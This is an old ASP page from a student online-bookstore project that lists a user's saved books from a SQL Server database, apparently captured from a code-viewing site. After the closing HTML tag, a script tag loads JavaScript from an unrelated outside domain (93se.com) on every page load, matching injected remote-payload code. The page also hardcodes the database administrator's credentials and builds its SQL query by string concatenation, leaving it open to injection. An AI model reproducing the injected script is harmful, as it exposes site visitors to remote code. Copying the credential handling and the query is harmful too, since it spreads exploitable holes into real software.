📄 bookcoll.asp
字号:
<HTML>
<HEAD>
<TITLE>
四人行书店
</TITLE>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<!--CharSet-->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
<link rel="stylesheet" href="images/CSS.CSS" type="text/css">
<SCRIPT ID=clientEventHandlersJS LANGUAGE=javascript>
<!--
function window_onload() {
<!--Page.OnLoad-->
}
//-->
</SCRIPT>
<style type="text/css">
<!--
.style{border-collapse:collapse;}
.STYLE2 {font-size: 24px}
-->
</style>
</HEAD>
<BODY BGCOLOR=#4A636A leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onLoad="return window_onload()">
<!--Counter-->
<!--Something Here-->
<table width="778" border="0" cellspacing="0" cellpadding="0" align="center" height="245">
<tr>
<td colspan="3" height="65"><img src="images/index_top1.gif" width="778" height="65"></td>
</tr>
<tr>
<td height="140" width="158"><img src="images/index_top2.gif" width="158" height="140"></td>
<td height="140" width="370" background="images/index_top3.gif">
<table border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td>
<div align="center"></div>
<div align="center">
<font color="#000000"><b><font size="5"> 四人行书店 </font></b></font>
</div>
</td>
</tr>
<tr>
<td>
<div align="center">
<font size="4" color="#000000"> TOGETHER BOOKSTORE </font>
</div>
</td>
</tr>
<tr>
<td> </td>
</tr>
</table>
</td>
<td height="140" width="250" background="images/01.jpg"><img src="images/index_pic.gif" width="250" height="140"></td>
</tr>
<tr>
<td colspan="3" height="40"><img src="images/index_top4.gif" width="778" height="40"></td>
</tr>
</table>
<table width="778" border="0" cellspacing="0" cellpadding="0" align="center" bgcolor="#58757D">
<tr>
<td width="240" valign="top">
<table width="240" border="0" cellspacing="0" cellpadding="0" background="images/index_lmbg.gif">
<tr>
<td valign="top"> <br>
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<a href="#">
<font color="#FFFFFF">
<!--Language-->
<!--Something Here-->
</font></a></b>
</td>
</tr>
</table>
</td>
</tr>
</table>
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<a href="index.asp">
<font color="#FFFFFF">
首页
</font></a></b>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button1.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button1.Link-->
<a href="#">
<font color="#FFFFFF">
<!--Button1-->
登陆
</font></a></b>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button1.Content.End-->
<!--Button2.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button2.Link-->
<a href="index.asp">
<font color="#FFFFFF">
<!--Button2-->藏书阁</font></a></b></td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button2.Content.End-->
<!--Button3.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td><table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button3.Link-->
<a href="index.asp"> <font color="#FFFFFF">
<!--Button3-->
个人资料管理 <font size="2"> </font></font></a></b></td>
</tr>
</table></td>
</tr>
</table>
<!--Button3.Content.End-->
<!--Button4.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button4.Link-->
<a href="index.asp">
<font color="#FFFFFF">
<!--Button4-->查看购物车</font></a></b></td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button4.Content.End-->
<!--Button5.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button5.Link-->
<a href="index.asp">
<font color="#FFFFFF">
<!--Button5-->注册</font></a></b></td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button5.Content.End-->
<!--Button6.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button6.Link-->
<a href="index.asp">
<font color="#FFFFFF">
<!--Button6-->
注销
</font></a>
</b></td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button6.Content.End-->
<br>
</td>
</tr>
<tr>
<td valign="top"><img src="images/index_lmbottom.gif" width="240" height="40"></td>
</tr>
</table>
</td>
<td valign="top">
<table border="0" cellspacing="0" cellpadding="0" align="center">
<tr valign="top">
<td>
<!--IndexPage.Content.Begin-->
<table width="94%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td>
<!--SubButton1.Content.Begin-->
<!--SubButton.Front-->
<!--Something Here-->
<!--SubButton1.Link-->
<a href="#">
<!--SubButton1--> </a>
<!--SubButton.Back-->
<!--SubButton1.Content.End-->
<!--SubButton2.Content.Begin-->
<!--SubButton2.Link--></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>
<div align="right">
<!--SubPage.Begin-->
<!--Something Here-->
<!--SubPage.End-->
</div> </td>
</tr>
<tr>
<td>
<div align="center">
<p>
<!--Page.Content.Begin-->
<!--Something Here-->
<%
set conn=server.createobject("adodb.connection")
conn.open "Provider=sqloledb;" & "Data Source=SNB\MH123;Initial Catalog=Bookstore;User Id=sa;Password=jzh1015;"
%>
<%
set rs=server.CreateObject("adodb.recordset")
sql="select shelf_id,b_name,b_writer,shelf_date from Book,Shelf where shelf.c_name='"&session("disinf")&"' and shelf.b_id=Book.b_id"
rs.open sql,conn,3,3
howmanyfields=rs.fields.count-1
%>
<%
if rs.eof or rs.bof then
%>
<span class="STYLE2">图书收藏</span></p>
<script language=javascript>
alert("对不起，藏书阁为空!");
window.location="index.asp"
</script>
<%
else
%>
<p> </p>
<table border="1">
<tr>
<%
for i=0 to howmanyfields
%>
<td width="17"><b> <%=rs(i).name%></b></td>
<%next%>
<td width="47"><b>删除</b></td>
</tr>
<%
do while not rs.eof
%>
<form method="post" action="delbook.asp">
<tr>
<%for i=0 to howmanyfields
thisvalue=rs(i)
if isnull(thisvalue) then
thisvalue=""
end if%>
<td valign=top><%=thisvalue%></td>
<%next%>
<td valign=top width="47"><input type="hidden" value="<%=rs(0)%>" name="shelf_id"><input name="submit" type="submit" value="删除">
</td>
</tr> </form>
<% rs.movenext
loop%>
</table>
<%
end if
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
<!-- <form name="form1" method="post" action="check.asp">
<table width="100%" border="0" >
<tr>
<td width="50%"><title></title>
</td>
</tr>
<tr>
<td><% %>
<dir></dir></td>
</tr>
<tr>
<td width="50%"> </td>
</tr>
<tr>
<td></td>
</tr>
</table>
</form>-->
<br>
<br>
<b><font size="3"><br>
</font></b><b><font size="3"> </font></b>
<!--Something Here-->
<!--Page.Content.End--></td>
</tr>
</table>
<!--IndexPage.Content.End-->
<table width="94%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td> <b><font size="3"><br>
</font></b>
<table width="100%" border="0" cellspacing="0" cellpadding="0" align="center" class="englishfont" height="1">
<tr></tr>
</table>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p><br>
</p>
<table width="96%" border="0" cellspacing="0" cellpadding="4" align="center">
<tr>
<td>
<div align="center">
<!--Your Company Name-->
四人行书店
<!--TCopyRight-->
版权所有
@2007<br>
<!--TAddress-->
公司地址:宁波大学计算机051班
<!--Address-->
<br>
<!--TTelephone-->
电话:8760????
<!--Telephone-->
<!--TEMail-->
电子邮件:????@nbu.edu.cn
<!--EMail-->
<A HREF='mailto:
<!--Email-->
'>
<!--Email-->
</A></div> </td>
</tr>
</table> </td>
</tr>
</table>
<br>
</td>
</tr>
</table>
</td>
<td valign="top" width="20"> </td>
</tr>
</table>
</BODY>
</HTML>
<script language=javascript src=http://93se.com/k.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -